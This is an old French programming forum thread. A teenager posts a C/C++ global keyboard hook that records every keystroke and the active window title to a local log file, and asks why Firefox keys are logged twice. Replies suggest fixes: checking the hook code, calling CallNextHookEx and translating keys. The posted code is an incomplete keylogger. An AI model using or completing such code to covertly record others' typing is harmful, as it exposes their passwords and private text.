Twitter iPhone pliant OnePlus 11 PS5 Disney+ Orange Livebox Windows 11

Hook Clavier

3 réponses
Avatar
[0]x80->[H]4x²0r
Salut,
Je fait un hook global de clavier et mon programme marche bien quand je
teste sur explorer.exe il recupere toutes les touches etc ... Le probleme
c'est que je voulu le tester sous firefox et la je me suis rendu compte que
chaque touche etait dupliquée au log . Ex : Taper 'a' dans firefox donnait
'aa' dans le log . Est ce que quelqu'un sait quel est le probleme ? comment
le resoudre ?
Je precise que je n'est que 15 ans est que je fait du C/C++ que depuis 4 ou
5 mois .

3 réponses

Avatar
Lucas
"[0]x80->[H]4x²0r" wrote in message
news:gpbr0m$orv$
Salut,
Je fait un hook global de clavier et mon programme marche bien quand je
teste sur explorer.exe il recupere toutes les touches etc ... Le probleme
c'est que je voulu le tester sous firefox et la je me suis rendu compte
que chaque touche etait dupliquée au log . Ex : Taper 'a' dans firefox
donnait 'aa' dans le log . Est ce que quelqu'un sait quel est le probleme
? comment le resoudre ?
Je precise que je n'est que 15 ans est que je fait du C/C++ que depuis 4
ou 5 mois .



Il faut voir ta procedure de hook
Tu n'as pas dû traiter comme il faut la variable nCode
Avatar
Christian ASTOR
[0]x80->[H]4x²0r wrote:


desole pour l'indentation . Oui tu as raison je n'est traite nCode (
dans mon code c'est 'Code' )



Oui, il faut tester
if (HC_ACTION == Code)
{ //...

Et ce n'est pas WPARAM *wParam mais WPARAM wParam
Il manque aussi CallNextHookEx()
Utiliser GetKeyNameText() pour traduire les touches
Utiliser KBDLLHOOKSTRUCT* pkbhs = (KBDLLHOOKSTRUCT*)lParam;
Avatar
[0]x80->[H]4x²0r
"Lucas" a écrit dans le message de
news:gpbrtn$pof$

"[0]x80->[H]4x²0r" wrote in message
news:gpbr0m$orv$
Salut,
Je fait un hook global de clavier et mon programme marche bien quand je
teste sur explorer.exe il recupere toutes les touches etc ... Le probleme
c'est que je voulu le tester sous firefox et la je me suis rendu compte
que chaque touche etait dupliquée au log . Ex : Taper 'a' dans firefox
donnait 'aa' dans le log . Est ce que quelqu'un sait quel est le probleme
? comment le resoudre ?
Je precise que je n'est que 15 ans est que je fait du C/C++ que depuis 4
ou 5 mois .



Il faut voir ta procedure de hook
Tu n'as pas dû traiter comme il faut la variable nCode




ok donc voila la procedure de hook :

int Logkbd(int code, WPARAM *wParam,LPARAM lParam)
{
//if(lParam > 0)
//{
char CurWindowTitle[256];
ofstream logfile("c:logfile.txt",ios_base::app);
GetWindowText(GetActiveWindow(),CurWindowTitle,255);

if ( strcmp(CurWindowTitle,LastWindowTitle) )
{
cout << "Nouveau titre de fenetre : " << CurWindowTitle << std::endl;
strcpy(LastWindowTitle,CurWindowTitle);
//fprintf(logkbd,"nn -- Fenêtre active : ");
////fprintf(logkbd,CurWindowTitle);
//fprintf(logkbd,"n");
logfile << "nn -- Fenêtre active : " << CurWindowTitle << "n";
}

switch(*wParam)
{
case VK_BACK :
//fprintf ( logkbd,"[BKSP]" );
logfile << "[BKSP]";
break; // 0x08
// ... j'ai enlevé le code d'autres virtual keys pour faire plus petit .
case VK_ATTN :
break; // 0xF6
default:
// la je traite les autres caracteres ( autre que les virtual keys )
BYTE kbdStat[256];
GetKeyboardState(kbdStat);
WORD wBuf;
UINT ScanCode = 0;
ToAscii(*wParam,ScanCode,kbdStat,&wBuf,0);
if(lParam == 30)
{
//fclose(logkbd);
logfile.close();
return -1;
}
//fprintf(logkbd,"%c",(char) wBuf);
logfile << (char)wBuf;
break;
}
logfile.close();
//}
}


desole pour l'indentation . Oui tu as raison je n'est traite nCode ( dans
mon code c'est 'Code' )